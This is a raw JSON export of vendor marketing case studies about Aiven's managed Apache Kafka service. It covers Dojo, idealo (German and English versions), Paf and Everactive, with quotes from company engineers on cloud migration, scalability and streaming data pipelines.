Kafka."}],"markDefs":[],"style":"normal"}],"title":"Governance, compliance and customer safeguarding","topOverlap":false,"variant":"oneColumn"},{"_key":"23247a39ceef","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-428ceef53aba859183d3ebd788b3b7936d9d8a36-3500x2333-jpg","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"9a36a7ff7d78","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"c844337e3219","_type":"block","children":[{"_key":"cc6f72b92d260","_type":"span","marks":[],"text":"The new architecture with Kafka at the center enables Dojo to add, evolve and scale microservices components independently, providing agility and flexibility as volatile markets and customer trends change. “We have unprecedented levels of agility now which helps us enormously as we expand, set up new sites and launch new products,” says Jérémy."}],"markDefs":[],"style":"normal"},{"_key":"74b2400199e8","_type":"block","children":[{"_key":"486c8a84f8160","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"547d6bb66bdf","_type":"block","children":[{"_key":"b1f68d212def0","_type":"span","marks":[],"text":"In addition, with Kafka in place, Dojo has improved its AI and data analytics capabilities, which helps both the company and its customers. For example, Dojo’s business-funding service relies on real-time data from Kafka and Dojo’s AI model to assess risk and provide Dojo's customers the right business funding to help them grow."}],"markDefs":[],"style":"normal"},{"_key":"7bc7290f2a99","_type":"block","children":[{"_key":"eb1cee56e3e4","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"bf374b7f14ef","_type":"block","children":[{"_key":"725f6ef807530","_type":"span","marks":[],"text":"Streaming data from Kafka also helps Dojo’s ML and AI models anticipate customer churn so Dojo can take immediate proactive steps to retain that customer. “Data loses its value as time goes by,” says Elad. “Now, with Aiven for Apache Kafka, we can react to business events very quickly.”"}],"markDefs":[],"style":"normal"},{"_key":"3ed3ae37e461","_type":"block","children":[{"_key":"bd1a9d11c98a","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"9af88df6f496","_type":"block","children":[{"_key":"cdec08e848d10","_type":"span","marks":[],"text":"And on the customer side, one of Dojo’s central missions is to revolutionize the “experience economy” by empowering customers with data-driven products and services. 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Jérémy’s team is currently exploring stream processing use cases and how Aiven might help with more complex, real-time operations on top of streams. Jérémy concludes, “We're planning our future with Aiven — we really want to push our collaboration forward.”"}],"markDefs":[],"style":"normal"}],"title":"A partner for future collaboration","topOverlap":false,"variant":"oneColumn"}],"heroHasVideo":false,"heroSubtitle":"Reliable, scalable and compliant data infrastructure supports Dojo’s experience economy across Europe","heroTitle":"Dojo Expands its Payment Processing Business with Aiven for Apache Kafka®","image":{"_type":"mainImage","asset":{"_ref":"image-c0af0446c4570c547cf95e53928179ba840a4972-3024x4032-jpg","_type":"reference"}},"publishedAt":"2024-09-30T12:23:00.000Z","seo":{"_type":"metaData","metaDescription":"Reliable, scalable and compliant data infrastructure supports Dojo’s experience economy across Europe","metaImage":{"_type":"mainImage","asset":{"_ref":"image-555744d0655654c68c125b8aa421bdc009c43a62-1200x630-png","_type":"reference"}},"metaTitle":"Dojo Expands its Payment Processing Business with Aiven for Apache Kafka®"},"slug":{"_type":"slug","current":"/case-studies/dojo-expands-with-aiven-for-apache-kafka"},"title":"Dojo Expands its Payment Processing Business with Aiven for Apache Kafka®","ytId":"mPWxizlA3so"}
{"__i18n_base":{"_ref":"3be9e9c4-7d27-4aae-b2fe-58e28b598249","_type":"reference"},"__i18n_lang":"de","_createdAt":"2023-11-09T10:56:35Z","_id":"3be9e9c4-7d27-4aae-b2fe-58e28b598249__i18n_de","_rev":"2x59rT6aRKXNelne0bXbFA","_type":"caseStudy","_updatedAt":"2024-11-27T13:04:59Z","company":{"_ref":"6079f1b6-5fbf-4777-97d0-1621dc783637","_type":"reference"},"content":[{"_key":"069e45dee81a","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"45f894f60343","_type":"block","children":[{"_key":"63bcd3ef486b0","_type":"span","marks":["53742940c12e"],"text":"idealo"},{"_key":"cea01267f696","_type":"span","marks":[],"text":" gehört zu den führenden Online-Vergleichsplattformen für Produkte, Reisen und Flüge in Europa und ist ein datenintensives Unternehmen. Als Teil der "},{"_key":"a38a518f3fab","_type":"span","marks":["de82417e8fd4"],"text":"Axel Springer SE"},{"_key":"147db078a692","_type":"span","marks":[],"text":" strebt das Unternehmen danach, seine Präsenz in ganz Europa weiter auszubauen. Mit einer Dateninfrastruktur on-premises, die nur schwer skalierbar war, entschied idealo, dass der Wechsel zu AWS ein wesentlicher Bestandteil seiner Wachstumsstrategie werden sollte. idealo entschied sich für Aiven, um seine Apache Kafka®-Infrastruktur in der Cloud zu verwalten. Dadurch konnten die internen Mitarbeiterteams von der Verwaltungslast befreit werden und sich statt dessen auf Innovationen konzentrieren. Damit festigten sie die Position des Unternehmens in einem hart umkämpften Markt."}],"markDefs":[{"_key":"53742940c12e","_type":"link","href":"https://idealo.de/"},{"_key":"de82417e8fd4","_type":"link","href":"https://www.axelspringer.com/en/"}],"style":"normal"}],"variant":"oneColumn"},{"_key":"d452666f8f1d2243cd5adfe0884a3615","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-a154e75006164d876f80142341f536ec0e947ff3-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false},{"_key":"f40f31e3554f","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"subtitle":[{"_key":"2ff17519d8bd","_type":"block","children":[{"_key":"b8219ebbc6220","_type":"span","marks":[],"text":"idealo wurde im Jahr 2000 mit dem Ziel gegründet, Nutzern zu helfen die bestmöglichen Kaufentscheidungen zu treffen, dank transparenter Preisinformationen. Seit 2007 gehört idealo zum Medien- und Technologieriesen Axel Springer SE. Täglich analysiert idealo Milliarden von Angeboten von Shops aller Größenordnungen und ordnet jedes Angebot einem bestimmten Produkt zu, das die Nutzer ganz einfach in der idealo-App und auf der Website finden. idealo verzeichnet im Durchschnitt 76 Millionen Visits pro Monat allein in Deutschland und mehr als 500 Millionen Angebote aus rund 50.000 Shops. Damit ist idealo eine der beliebtesten deutschen E-Commerce-Websites und eine führende Plattform im hart umkämpften Markt der Preisvergleiche. idealo expandiert auch nach Frankreich, Großbritannien, Italien, Österreich und Spanien und entwickelt sein Angebot kontinuierlich weiter, um der Konkurrenz voraus zu sein und sein Ziel zu erreichen, die Nummer 1 in Europa zu werden."}],"markDefs":[],"style":"normal"}],"title":"Transparente Preisgestaltung für Konsumgüter in ganz Europa","variant":"oneColumn"},{"_key":"31091664cd13","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-3d751e843c77b644112826d961c772d980f60021-1800x668-jpg","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false},{"_key":"b3c6afaf0b3d","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"4391412cddbf","_type":"block","children":[{"_key":"2e5b38f022450","_type":"span","marks":[],"text":"In den vergangenen zwei Jahrzehnten sind die E-Commerce- und Preisvergleichsseiten von idealo erheblich gewachsen. Das Unternehmen hat Händler und Produktlinien hinzugefügt, in verschiedene europäische Märkte expandiert und auf sich ändernde Trends im Online-Handel wie den Black Friday reagiert. Mit dem Wachstum des Unternehmens wurde die IT-Infrastruktur zunehmend beansprucht, insbesondere zu Zeiten mit hohem Handelsvolumen wie Weihnachten.\n\n„Wir haben die strategische Entscheidung getroffen, unsere IT-Infrastruktur auf AWS zu verlagern, um eine bessere Skalierbarkeit zu erreichen. Unser Rechenzentrum konnte die Kapazität nicht bereitstellen, die für das Unternehmenswachstum und die Unterstützung des Teams erforderlich gewesen wäre“, sagt Wanis Fahmy, Senior Cloud Engineer bei idealo.\n\nidealo arbeitet täglich mit Tausenden von Händlern zusammen, die Informationen über ihre gelisteten Produkte – einschließlich Preise, Beschreibungen und Bilder – zur Verfügung stellen. idealo verarbeitet, analysiert und bewertet diese Daten und stellt sie auf seiner Website zur Verfügung. „Mit 50.000 Händlern und 500 Millionen Produktangeboten verarbeiten wir riesige Datenmengen. Eine schnelle und zuverlässige Dateninfrastruktur ist daher ein entscheidender Teil unseres Geschäftsmodells. Kunden möchten sofort den günstigsten Preis, nicht vor fünf Minuten. Verzögerungen, ungenaue Daten oder ein unterbrochener Service könnten das Vertrauen in die Marke idealo beeinträchtigen“, sagt Fahmy. Aus diesem Grund ist idealo ein langjähriger und intensiver Nutzer von Apache Kafka, der Open-Source-Plattform für Daten-Streaming.\n\nVor der Migration zu AWS verfügte idealo über 30 Kafka-Cluster on-premises, die Daten zwischen den Systemen und Anwendungen des Preisvergleichsdienstes übermittelten. Das Unternehmen setzte sich einen ehrgeizigen Plan für die Cloud-Migration, der in nur 18 Monaten abgeschlossen werden sollte. Die Verlagerung der Dateninfrastruktur, einschließlich Kafka, war ein wesentlicher Bestandteil des Plans.\n\nObwohl das Team solide Erfahrungen mit der Verwaltung von on-premises Kafka-Clustern gesammelt hatte, gab es Bedenken, dass diese für einen Cloud-basierten Betrieb nicht ausreichen würden. Jeder Leistungsverlust oder, noch schlimmer, jede Ausfallzeit würde zu einem spürbaren und sofortigen Verlust im Handel führen. idealo benötigte daher einen zuverlässigen Partner, der bei der Migration und dem anschließenden Management von Kafka helfen konnte.\n\n„Die Sicherstellung, dass unsere Kafka-Implementierung immer auf dem neuesten Stand ist und mit den Best Practices übereinstimmt, ist eine große Aufgabe für uns. Der Umzug in die Public Cloud gab uns die Möglichkeit, diese Aufgabe an Experten abzugeben, so dass sich unser Team auf unser Kerngeschäft konzentrieren konnte“, sagt Fahmy."}],"markDefs":[],"style":"normal"}],"title":"Ambitionierte Cloud-Migration zur Unterstützung des wachsenden Geschäfts","variant":"oneColumn"},{"_key":"a5d1e780547561bfb717b6900fdef8d9","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-5b40f61b550a1a08b3560dbfc68de4f37f3db6c2-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false},{"_key":"b80dcb0577b7","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"fa5dfe3c1686","_type":"block","children":[{"_key":"5ca9c1e181660","_type":"span","marks":[],"text":"Das Team von idealo verglich verschiedene Anbieter und entschied sich letztendlich für Aiven. „Aiven war der einzige Anbieter, der alle Kriterien erfüllte\", sagt Fahmy. „Die anderen SaaS-Anbieter konnten mit den technischen Möglichkeiten der Aiven-Datenplattform nicht mithalten. Auch war uns Berechenbarkeit wichtig, insbesondere bei der Preisgestaltung.”\n\nAusschlaggebend war das unkomplizierte und leicht verständliche Preismodell von Aiven. „Der Wechsel in die öffentliche Cloud mit den vielen verschiedenen Kosten- und Preismodellen war für uns neu. Wir waren uns nicht sicher, wie sich das entwickeln würde – aber wir wussten, dass steigende Kosten, zum Beispiel für die Datenübertragungsgebühren, unsere Pläne für den Wandel wirklich untergraben hätten”, sagt Fahmy.\n\nDie Migration zu AWS sollte schrittweise erfolgen, wobei einige Teams früher als andere aus den Rechenzentren ausziehen würden. „Eine der wichtigsten technischen Anforderungen war, dass die Kafka-Cluster im dualen Modus arbeiten sollten und dabei Virtual Private Cloud (VPC) Peering verwenden, um eine Verbindung zu den on-premises Clustern sicherzustellen und Zugriff auf die bereits zu AWS migrierten Cluster zu ermöglichen. Aiven war der einzige Anbieter, der die Flexibilität hatte, in beiden Modi zu arbeiten. Das Umschalten zwischen den Modi war sehr einfach, beispielsweise um den öffentlichen Zugang zu deaktivieren und nur mit Peering zu arbeiten oder umgekehrt“, erläutert Fahmy."}],"markDefs":[],"style":"normal"}],"title":"Alle Kriterien erfüllen - Verfügbarkeit, Zuverlässigkeit und berechenbare Preisgestaltung","variant":"oneColumn"},{"_key":"831c289979d1","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-ffb85312328b66d3c7a00143995222d154b4794e-1700x631-jpg","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false},{"_key":"f4ec10ec49e6","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"48052390c35e","_type":"block","children":[{"_key":"d8c690503beb0","_type":"span","marks":[],"text":"idealo führte mit Aiven for Apache Kafka® ein erfolgreiches Proof-of-Concept durch, das die erforderliche technische Sicherheit bot. Kurze Zeit später wurde der Umzug der Kafka-Cluster zu Aiven auf AWS initiert.\n\nHoney Feelisch, Projektmanagerin bei idealo, war die leitende Projektmanagerin für die AWS-Migration. Auch als einige Teams ihre Anwendungen noch on-premises betrieben, ermutigte Feelisch alle, Aiven for Apache Kafka als zentralen Data Hub zu verwenden, indem Nachrichten gespiegelt oder repliziert werden. „Diese Strategie ermöglichte es uns, die Abhängigkeiten zwischen den Teams zu entwirren. Außerdem gab sie jedem die Möglichkeit, die Kafka-Nachrichten zu hören und zu überlegen, wie sie am besten umgesetzt werden könnten“, sagt Feelisch.\n\nDrei Monate nach Abschluss des Proof of Concept wurde die Kafka-Infrastruktur erfolgreich in die Produktion der Cloud überführt. Heute werden rund 60 Kafka-Cluster von Aiven verwaltet, die eine Reihe verschiedener Teams mit einem immer breiteren Spektrum von Anwendungsfällen unterstützen.\n\n„Wir setzen Kafka häufig für die ereignisgesteuerte asynchrone Kommunikation zwischen Teams und ihren verschiedenen Microservices ein”, erklärt Fahmy. „Der zweitwichtigste Anwendungsfall ist Aiven for Apache Kafka® Connect. Dieses Tool nutzen einige unserer Teams für die Einspeisung von Daten in unseren Big Data Lake in AWS.“\n\nSeit der Umstellung auf Aiven hat die Beliebtheit und Nutzung von Kafka zugenommen. „Mit Aiven sind unsere Kafka-Cluster deutlich zuverlässiger als zuvor. Dies ermöglicht unseren Teams, sich auf das Kerngeschäft zu konzentrieren, ohne sich um die Wartung kümmern zu müssen. Darüber hinaus ist die Einrichtung eines neuen Clusters nun sehr einfach. Das macht es für andere Teams deutlich attraktiver und zugänglicher”, sagt Fahmy.\n\nAus geschäftlicher Sicht kann idealo sicher sein, dass die Kafka-Komponenten seiner kritischen Dateninfrastruktur zu jeder Zeit hochverfügbar sind. Zudem ist gewährleistet, dass Daten selbst in Zeiten wie dem Black Friday schnell und sicher bewegt werden können.\n\n„Aiven ermöglicht uns die Bewältigung steigender Arbeitslasten und Datenmengen. Das bedeutet, dass die Systeme, die unserer Preisvergleichsplattform zugrunde liegen, sich an unsere wachsenden geschäftlichen Anforderungen anpassen können, während wir weiter an Beliebheit gewinnen, in neue Märkte expandieren und unsere ehrgeizigen Wachstumsziele erreichen“, sagt Andreas Hankel, CTO von idealo."}],"markDefs":[],"style":"normal"}],"title":"Aiven for Apache Kafka unterstützt eine immer breitere Palette von Anwendungsfällen","variant":"oneColumn"},{"_key":"b61e54e158a5","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-2547027a1f3d73d158338af245f42c35c93ca6a3-1866x880-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false},{"_key":"cf11078c9b6c","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"25ab6a323728","_type":"block","children":[{"_key":"df61d37d6e3f0","_type":"span","marks":[],"text":"Der Schwerpunkt des letzten Jahres lag auf der Migration von Arbeitslasten zu AWS und Aiven for Apache Kafka. Aber wie Fahmy anmerkt, eröffnet die Arbeit mit Aiven neue Möglichkeiten und Anwendungsfälle, die zuvor nicht möglich waren. \"Früher haben einige Teams die Nutzung von Kafka vermieden, da sie als kompliziert galt. Dank Aiven können sie nun neue Cluster erstellen und auf dieser Grundlage neue Kundenservices entwickeln. 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{"__i18n_lang":"en","__i18n_refs":[{"_key":"de","_ref":"3be9e9c4-7d27-4aae-b2fe-58e28b598249__i18n_de","_type":"reference"}],"_createdAt":"2023-11-09T10:56:35Z","_id":"3be9e9c4-7d27-4aae-b2fe-58e28b598249","_rev":"ZhxRwgWPklJwoe04lgUoIS","_type":"caseStudy","_updatedAt":"2024-11-27T13:05:01Z","company":{"_ref":"6079f1b6-5fbf-4777-97d0-1621dc783637","_type":"reference"},"content":[{"_key":"069e45dee81a","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"45f894f60343","_type":"block","children":[{"_key":"63bcd3ef486b0","_type":"span","marks":[],"text":"As one of Europe's leading online comparison platforms for products and travel and flight, "},{"_key":"c8bb0a07bcd0","_type":"span","marks":["77e48d43203c"],"text":"idealo"},{"_key":"83243bad18da","_type":"span","marks":[],"text":" is a data-intensive business. Part of "},{"_key":"0bee6eaa77a1","_type":"span","marks":["b35c55f3bb5e"],"text":"Axel Springer SE"},{"_key":"13f0b079d75c","_type":"span","marks":[],"text":", the company has ambitions to further expand its presence across Europe. However, with an on-premises data infrastructure that was struggling to scale, idealo decided that moving to AWS was an essential part of its growth strategy. idealo chose Aiven to manage its Apache Kafka® infrastructure in the cloud, removing the management burden from internal teams and allowing them to focus on innovation – and cementing its position in a highly competitive market."}],"markDefs":[{"_key":"77e48d43203c","_type":"link","href":"https://idealo.de"},{"_key":"b35c55f3bb5e","_type":"link","href":"https://www.axelspringer.com/en/"}],"style":"normal"}],"variant":"oneColumn"},{"_key":"d452666f8f1d2243cd5adfe0884a3615","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-c71c4ac8ac3157a70e02b8eaffc1bc1abb88c2e2-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false},{"_key":"f40f31e3554f","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"subtitle":[{"_key":"9900774d2a5f","_type":"block","children":[{"_key":"8135e693e03e0","_type":"span","marks":[],"text":"idealo started in 2000 with a mission to help users make the best possible purchasing decisions thanks to transparent pricing. It has been part of media and tech giant Axel Springer SE since 2007. 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The company has added merchants and product lines, expanded into different European markets and responded to changing online retail trends like Black Friday. As the business scaled up, its IT infrastructure was coming under more and more strain – notably around high-volume trading periods like Christmas."}],"markDefs":[],"style":"normal"},{"_key":"056b8e15e098","_type":"block","children":[{"_key":"c0487fbc6e810","_type":"span","marks":[],"text":"“We made the strategic decision to move our IT infrastructure to AWS for better scalability. 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{"__i18n_lang":"en","_createdAt":"2022-09-13T15:08:41Z","_id":"99f970a3-6f43-4251-8d9b-279e98cd45f8","_rev":"on5KSabgAN0raW406Y55CV","_type":"caseStudy","_updatedAt":"2024-02-08T14:58:50Z","company":{"_ref":"1aEmXcT3h9R3Vg88M7f2dE","_type":"reference"},"content":[{"_key":"9d2cbd331687","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"779e94912767","_type":"block","children":[{"_key":"1d81f2d763b30","_type":"span","marks":[],"text":"Paf is a physical and online gambling operator in the Baltics run by the Government of Åland. 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They also have to provide their customers with a performant data pipeline from sensor to storage to visualization."}],"markDefs":[],"style":"normal"},{"_key":"0afb04d6b379","_type":"block","children":[{"_key":"2fdd97b54a28","_type":"span","marks":[],"text":"“It’s not enough just to have hardware,” says "},{"_key":"a01259a760b9","_type":"span","marks":["strong"],"text":"Rob Cook"},{"_key":"a8d030a8401d","_type":"span","marks":[],"text":", Principal Software Engineer at Everactive. “For the system to be useful, you have to make it easy for people to utilize it, not just in terms of building other hardware on top of it but also consuming the streams of data that it generates.”"}],"markDefs":[],"style":"normal"},{"_key":"57b264c8cbea","_type":"block","children":[{"_key":"1002972d628a","_type":"span","marks":[],"text":"The company’s first application was a self-powered Steam Trap Monitoring solution, released in 2018, which reduces energy waste and carbon emissions. In 2020 they made available a Machine Health Monitoring solution that analyzes vibrations of industrial rotating machines like motors and compressors. These are definitely not just hardware solutions; instead, they put data to work and employ innovative algorithms to process it to gain insights that no other systems can."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Overview","variant":"oneColumn"},{"_key":"458fa228cba0","_type":"textColumn","columnOne":[{"_key":"3e1bbd8a2130","_type":"block","children":[{"_key":"3338fa7a9598","_type":"span","marks":[],"text":"When Everactive constructed their first data pipeline in 2014, they started with Apache NiFi and OpenTSDB. Very soon they outgrew this setup. “We weren’t able to automate anything in that system, and management was a pain,” says Rob, “Then we ran into performance issues, and upgrading into a cluster wasn’t feasible.” If they couldn’t manage one single server, how would they ever manage a whole cluster?"}],"markDefs":[],"style":"normal"},{"_key":"7b6bb5e5fc88","_type":"block","children":[{"_key":"81b87705d311","_type":"span","marks":[],"text":"Next they tried out an Apache Pulsar cluster, but this had essentially the same problems. “In theory, it was inexpensive to run our own cluster, but we couldn’t both run it and do our actual jobs,” Rob explains. “And we couldn’t find anybody we could pay money to run it for us.”"}],"markDefs":[],"style":"normal"},{"_key":"f5ca81bbeeae","_type":"block","children":[{"_key":"4be10d75fe87","_type":"span","marks":[],"text":"In the meantime, performance issues were accumulating. Sensor installations were taking too long, because the signals from the sensor had to travel through a bottlenecked system, which took up to 5 minutes per sensor."}],"markDefs":[],"style":"normal"},{"_key":"032d869c08f2","_type":"block","children":[{"_key":"9409a376ce8f","_type":"span","marks":[],"text":"At this point, too, the concept was fully commercialized and business was really taking off. They needed a solution. Now, at least, they had a much better idea of what they were looking for: a system that would be…"}],"markDefs":[],"style":"normal"},{"_key":"31ed87300df8","_type":"block","children":[{"_key":"28cfd8604c33","_type":"span","marks":[],"text":"… able to ingest huge amounts of data and pass it into a time-series database for processing."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"bf64f98c4957","_type":"block","children":[{"_key":"e9c54085e5f7","_type":"span","marks":[],"text":"… easily scalable."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9900f0bb0973","_type":"block","children":[{"_key":"a1ffa4f22b99","_type":"span","marks":[],"text":"… fault tolerant."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3f2a959303f7","_type":"block","children":[{"_key":"7a64e1aea3cc","_type":"span","marks":[],"text":"… managed for Everactive by experts."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"dd1a283c0cd3","_type":"block","children":[{"_key":"9fdcec7b61ce","_type":"span","marks":[],"text":"Fortunately, there was Apache Kafka®, a widely used solution available as a managed service."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"7523d6caccd9","_type":"block","children":[{"_key":"889f9b3c5cc70","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"The challenge","variant":"oneColumn"},{"_key":"7e1cff6f191b","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"eeb8eee23ec4","_type":"testimonialItem","content":[{"_key":"cc9f1659a792","_type":"block","children":[{"_key":"46060bd1bd100","_type":"span","marks":[],"text":"\"[With Kafka and Terraform] we’ve managed to automate almost everything: configuration, deployment, and maintenance.\""}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-16cc4eae29b1e667a401fca772d9a73f5d63b401-2500x2500-png","_type":"reference"}},"jobTitle":"Senior Principal Software Engineer at Everactive","name":"Carlos Olmos"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"variant":"media"},{"_key":"60206c8afcdf","_type":"textColumn","columnOne":[{"_key":"2ecc9a1bacf4","_type":"block","children":[{"_key":"625bc0ed710e","_type":"span","marks":[],"text":"Apache Kafka is designed for rapid high-volume throughput and is a staple of IoT and streaming architectures. It’s no wonder that Everactive found it suitable for their needs, too. Today, Aiven for Apache Kafka is very much at the heart of their data infrastructure. It receives time series data from millions of self-powered sensors and stores it temporarily. According to the original use case, the events are then ingested into a PostgreSQL database where customer systems can retrieve them."}],"markDefs":[],"style":"normal"},{"_key":"b4267c67c2f6","_type":"block","children":[{"_key":"e061c414b1ce","_type":"span","marks":[],"text":"Everactive has moved forward from the initial concept, however. Now their Apache Kafka instance serves data also to the monitoring system and elsewhere, because connectors are easily available."}],"markDefs":[],"style":"normal"},{"_key":"249eee77c732","_type":"block","children":[{"_key":"32db8ac41c14","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"6aac910cafad","_type":"image","asset":{"_ref":"image-aec8a9c4df5dbb244c7db1f161451736d5033c3b-800x611-png","_type":"reference"}}],"disabled":false,"fullWidth":false,"rounded":false,"title":"The solution","variant":"oneColumn"},{"_key":"e0f8f9ba6548","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","columnOne":[{"_key":"0395ebbe9628","_type":"block","children":[{"_key":"1c3c1d4ca904","_type":"span","marks":[],"text":"Is it more expensive for Everactive? “Possibly,” Carlos says, “if you just count the wages of the staff. But every hour we spend trying to reboot a server is an hour we don't spend developing our core business.”"}],"markDefs":[],"style":"normal"},{"_key":"860f149b5ec5","_type":"block","children":[{"_key":"a1c1fe9836d9","_type":"span","marks":[],"text":"He continues: “Having our clusters managed by experts is also an insurance policy. Just one event, if it’s bad enough, can destroy the entire value you’ve built. If you’re buying a managed service, you know that there's a whole company devoted to preventing or fixing that event, and they’ll do it much more efficiently than we would do it internally.”"}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"46a68a236d56","_type":"block","children":[{"_key":"1a51af5017480","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"46a68a236d56","_type":"block","children":[{"_key":"1a51af5017480","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"46a68a236d56","_type":"block","children":[{"_key":"1a51af5017480","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"variant":"oneColumn"},{"_key":"56e0cbe4f797","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"6ee567113d3c","_type":"block","children":[{"_key":"838ed9662e140","_type":"span","marks":[],"text":"Everactive has now had their managed Apache Kafka service running for more than a year, and they are very happy with how things have turned out."}],"markDefs":[],"style":"normal"},{"_key":"8a2e339067b6","_type":"block","children":[{"_key":"8d5da56eefb00","_type":"span","marks":[],"text":"“With Aiven, things just work better than they did before,” says Rob."}],"markDefs":[],"style":"normal"},{"_key":"b0ca8477490e","_type":"block","children":[{"_key":"64d3f115ade60","_type":"span","marks":[],"text":"According to Carlos, the clearest benefit is change management in the configuration of the system. “With Kafka, 